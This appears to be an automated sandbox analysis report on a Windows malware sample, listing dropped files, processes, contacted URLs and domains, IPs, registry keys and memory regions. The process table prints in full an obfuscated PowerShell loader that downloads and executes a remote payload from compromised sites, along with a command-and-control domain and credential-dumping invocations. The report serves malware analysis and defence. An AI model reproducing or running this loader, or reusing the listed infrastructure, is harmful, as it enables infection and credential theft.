Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
|
PE32 executable (GUI) Intel 80386, for MS Windows
|
initial sample
|
 |
|
|
C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs
|
ASCII text, with very long lines (2168), with CRLF line terminators
|
dropped
|
|
|
|
C:\Users\user\AppData\Roaming\sfvnspt.dat
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json
|
JSON data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_51mj0ygu.nlc.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5m414cg.t0o.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kyf3u1w1.rxk.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yrxwzsgb.akj.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\bhvF6CA.tmp
|
Extensible storage user DataBase, version 0x620, checksum 0x4061f958, page size 32768, DirtyShutdown, Windows version 10.0
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\zvvuwrolfaxlvl
|
Unicode text, UTF-16, little-endian text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Roaming\Snigmyrdede.Sko
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
There are 4 hidden files, click here to show them.
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
|
"C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe"
|
|
|
|
C:\Windows\SysWOW64\wscript.exe
|
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
|
|
|
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext
"C:\Users\user\AppData\Local\Temp\zvvuwrolfaxlvl"
|
|
|
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext
"C:\Users\user\AppData\Local\Temp\kpjewkzmtipqfrcbhk"
|
|
|
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
|
C:\Users\user\Desktop\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext
"C:\Users\user\AppData\Local\Temp\mroxxckghqhciyqfqvohn"
|
|
|
|
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne
Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens
Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene
forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes
Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If
(${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For(
$truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman,
$Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94
' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1
0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94
' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/
/,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94
'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS
n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,).
');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance
(Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S
eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o
bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance
(Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD
o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance
(Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit)
{Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance
(Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h,
N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t
r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance
(Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94
'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L
');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,.
G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt
rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
|
|
|
|
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne
Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens
Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene
forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes
Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If
(${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For(
$truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman,
$Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94
' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1
0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94
' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/
/,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94
'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS
n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,).
');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance
(Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S
eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o
bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance
(Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD
o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance
(Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit)
{Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance
(Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h,
N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t
r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance
(Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94
'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L
');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,.
G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt
rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
|
||
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
iwarsut775laudrye2.duckdns.org
|
|
||
|
http://www.imvu.comr
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/feed/
|
unknown
|
||
|
http://crl.microsoft
|
unknown
|
||
|
https://aefd.nelreports.net/api/report?cat=bingth
|
unknown
|
||
|
http://geoplugin.net/json.gplA
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm
|
34.166.62.190
|
||
|
http://www.nirsoft.net
|
unknown
|
||
|
https://aefd.nelreports.net/api/report?cat=bingaotak
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=
|
unknown
|
||
|
https://deff.nelreports.net/api/report?cat=msn
|
unknown
|
||
|
https://gmpg.org/xfn/11
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767
|
unknown
|
||
|
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1
|
unknown
|
||
|
https://www.google.com
|
unknown
|
||
|
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EL
|
unknown
|
||
|
http://geoplugin.net/json.gp/C
|
unknown
|
||
|
https://aka.ms/pscore6lB
|
unknown
|
||
|
https://asociatiatraditiimaria.ro
|
unknown
|
||
|
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
|
unknown
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/os/transportment.pfm
|
93.113.54.56
|
||
|
https://login.yahoo.com/config/login
|
unknown
|
||
|
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm0
|
unknown
|
||
|
http://www.nirsoft.net/
|
unknown
|
||
|
http://crl.mB
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
|
https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&
|
unknown
|
||
|
https://www.office.com/
|
unknown
|
||
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
http://www.imvu.compData
|
unknown
|
||
|
http://geoplugin.net/json.gpp
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/comments/feed/
|
unknown
|
||
|
http://www.imvu.com
|
unknown
|
||
|
https://aefd.nelreports.net/api/report?cat=wsb
|
unknown
|
||
|
https://api.w.org/
|
unknown
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/wp-json/
|
unknown
|
||
|
http://crl.microsoft.
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
||
|
http://geoplugin.net/json.gp
|
178.237.33.50
|
||
|
http://geoplugin.net/json.gpRN
|
unknown
|
||
|
http://crl.micro
|
unknown
|
||
|
https://aefd.nelreports.net/api/report?cat=bingaot
|
unknown
|
||
|
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2
|
unknown
|
||
|
https://new.quranushaiqer.org.sa
|
unknown
|
||
|
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfml
|
unknown
|
||
|
https://aefd.nelreports.net/api/report?cat=bingrms
|
unknown
|
||
|
https://www.google.com/accounts/servicelogin
|
unknown
|
||
|
http://www.ebuddy.com
|
unknown
|
There are 46 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
iwarsut775laudrye2.duckdns.org
|
192.253.251.227
|
|
|
|
bg.microsoft.map.fastly.net
|
199.232.210.172
|
||
|
asociatiatraditiimaria.ro
|
93.113.54.56
|
||
|
geoplugin.net
|
178.237.33.50
|
||
|
new.quranushaiqer.org.sa
|
34.166.62.190
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
192.253.251.227
|
iwarsut775laudrye2.duckdns.org
|
United States
|
|
|
|
34.166.62.190
|
new.quranushaiqer.org.sa
|
United States
|
||
|
93.113.54.56
|
asociatiatraditiimaria.ro
|
Romania
|
||
|
178.237.33.50
|
geoplugin.net
|
Netherlands
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER\SOFTWARE\shietgtst-A57Q98
|
exepath
|
||
|
HKEY_CURRENT_USER\SOFTWARE\shietgtst-A57Q98
|
licence
|
||
|
HKEY_CURRENT_USER\SOFTWARE\shietgtst-A57Q98
|
time
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
LangID
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.FriendlyAppName
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.ApplicationCompany
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
There are 11 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
459000
|
unkown
|
page readonly
|
|
|
|
72E000
|
heap
|
page read and write
|
|
|
|
459000
|
unkown
|
page readonly
|
|
|
|
A795000
|
direct allocation
|
page execute and read and write
|
|
|
|
459000
|
unkown
|
page readonly
|
|
|
|
459000
|
unkown
|
page readonly
|
|
|
|
459000
|
unkown
|
page readonly
|
|
|
|
7DE000
|
heap
|
page read and write
|
||
|
7E2000
|
heap
|
page read and write
|
||
|
4B6E000
|
stack
|
page read and write
|
||
|
4C91000
|
trusted library allocation
|
page read and write
|
||
|
6380000
|
heap
|
page read and write
|
||
|
2581000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
219D000
|
heap
|
page read and write
|
||
|
755F000
|
stack
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
7DC000
|
heap
|
page read and write
|
||
|
27CE000
|
heap
|
page read and write
|
||
|
2AE000
|
heap
|
page read and write
|
||
|
3120000
|
trusted library allocation
|
page read and write
|
||
|
4AAE000
|
stack
|
page read and write
|
||
|
8B90000
|
trusted library allocation
|
page execute and read and write
|
||
|
769D000
|
heap
|
page read and write
|
||
|
5D17000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
7DFE000
|
stack
|
page read and write
|
||
|
8800000
|
heap
|
page read and write
|
||
|
2A8F000
|
unkown
|
page read and write
|
||
|
8690000
|
trusted library allocation
|
page read and write
|
||
|
2161000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
5D40000
|
heap
|
page read and write
|
||
|
27B1000
|
heap
|
page read and write
|
||
|
37F6000
|
unclassified section
|
page execute and read and write
|
||
|
A26000
|
heap
|
page read and write
|
||
|
5D0A000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
356E000
|
stack
|
page read and write
|
||
|
6FF0000
|
trusted library allocation
|
page read and write
|
||
|
81C0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7A00000
|
trusted library allocation
|
page execute and read and write
|
||
|
44F6000
|
trusted library allocation
|
page read and write
|
||
|
3C07000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
7DC000
|
heap
|
page read and write
|
||
|
5CFD000
|
heap
|
page read and write
|
||
|
401000
|
unkown
|
page execute read
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
2BD0000
|
heap
|
page read and write
|
||
|
8884000
|
heap
|
page read and write
|
||
|
1F0000
|
heap
|
page read and write
|
||
|
76F0000
|
heap
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
77A0000
|
trusted library allocation
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
66CB000
|
stack
|
page read and write
|
||
|
5D2F000
|
heap
|
page read and write
|
||
|
67CA000
|
stack
|
page read and write
|
||
|
46E000
|
stack
|
page read and write
|
||
|
34DF000
|
heap
|
page read and write
|
||
|
5852000
|
heap
|
page read and write
|
||
|
34D4000
|
heap
|
page read and write
|
||
|
79F0000
|
trusted library allocation
|
page read and write
|
||
|
23DD000
|
stack
|
page read and write
|
||
|
342E000
|
unkown
|
page read and write
|
||
|
5835000
|
heap
|
page read and write
|
||
|
5FDA000
|
heap
|
page read and write
|
||
|
7DC000
|
heap
|
page read and write
|
||
|
27D9000
|
heap
|
page read and write
|
||
|
7B10000
|
trusted library allocation
|
page read and write
|
||
|
817000
|
heap
|
page read and write
|
||
|
6FE0000
|
trusted library allocation
|
page read and write
|
||
|
27D4000
|
heap
|
page read and write
|
||
|
3180000
|
heap
|
page read and write
|
||
|
474000
|
unkown
|
page read and write
|
||
|
6DE5000
|
heap
|
page read and write
|
||
|
34C3000
|
heap
|
page read and write
|
||
|
39D0000
|
heap
|
page read and write
|
||
|
877C000
|
stack
|
page read and write
|
||
|
27EE000
|
heap
|
page read and write
|
||
|
7581000
|
heap
|
page read and write
|
||
|
684F000
|
stack
|
page read and write
|
||
|
27CF000
|
heap
|
page read and write
|
||
|
610000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
7DA000
|
heap
|
page read and write
|
||
|
4BE000
|
stack
|
page read and write
|
||
|
7A80000
|
trusted library allocation
|
page read and write
|
||
|
4487000
|
trusted library allocation
|
page read and write
|
||
|
409C000
|
stack
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
33E0000
|
heap
|
page read and write
|
||
|
5DD8000
|
heap
|
page read and write
|
||
|
6F3D000
|
stack
|
page read and write
|
||
|
4C4000
|
heap
|
page read and write
|
||
|
5E4000
|
heap
|
page read and write
|
||
|
7A90000
|
heap
|
page read and write
|
||
|
78DE000
|
stack
|
page read and write
|
||
|
400000
|
unkown
|
page readonly
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
27F4000
|
heap
|
page read and write
|
||
|
79F000
|
stack
|
page read and write
|
||
|
8A3000
|
heap
|
page read and write
|
||
|
34E3000
|
heap
|
page read and write
|
||
|
A26000
|
heap
|
page read and write
|
||
|
7800000
|
trusted library allocation
|
page read and write
|
||
|
7A40000
|
trusted library allocation
|
page read and write
|
||
|
27E9000
|
heap
|
page read and write
|
||
|
5DA9000
|
heap
|
page read and write
|
||
|
27BB000
|
heap
|
page read and write
|
||
|
27B9000
|
heap
|
page read and write
|
||
|
27BE000
|
heap
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
5C0000
|
heap
|
page read and write
|
||
|
646000
|
heap
|
page read and write
|
||
|
5DA8000
|
heap
|
page read and write
|
||
|
27E0000
|
trusted library allocation
|
page execute and read and write
|
||
|
4C5000
|
heap
|
page read and write
|
||
|
6CE0000
|
trusted library allocation
|
page read and write
|
||
|
2171000
|
heap
|
page read and write
|
||
|
51C9000
|
trusted library allocation
|
page read and write
|
||
|
3C05000
|
heap
|
page read and write
|
||
|
27CB000
|
heap
|
page read and write
|
||
|
3D51000
|
heap
|
page read and write
|
||
|
5CF7000
|
heap
|
page read and write
|
||
|
2240000
|
heap
|
page read and write
|
||
|
3516000
|
heap
|
page read and write
|
||
|
20A8000
|
heap
|
page read and write
|
||
|
3503000
|
heap
|
page read and write
|
||
|
6F40000
|
trusted library allocation
|
page execute and read and write
|
||
|
30F0000
|
trusted library allocation
|
page read and write
|
||
|
5D0A000
|
heap
|
page read and write
|
||
|
3FA0000
|
trusted library allocation
|
page read and write
|
||
|
4AF0000
|
heap
|
page read and write
|
||
|
34D8000
|
heap
|
page read and write
|
||
|
27E7000
|
heap
|
page read and write
|
||
|
85D0000
|
trusted library allocation
|
page execute and read and write
|
||
|
79E7000
|
stack
|
page read and write
|
||
|
5D66000
|
heap
|
page read and write
|
||
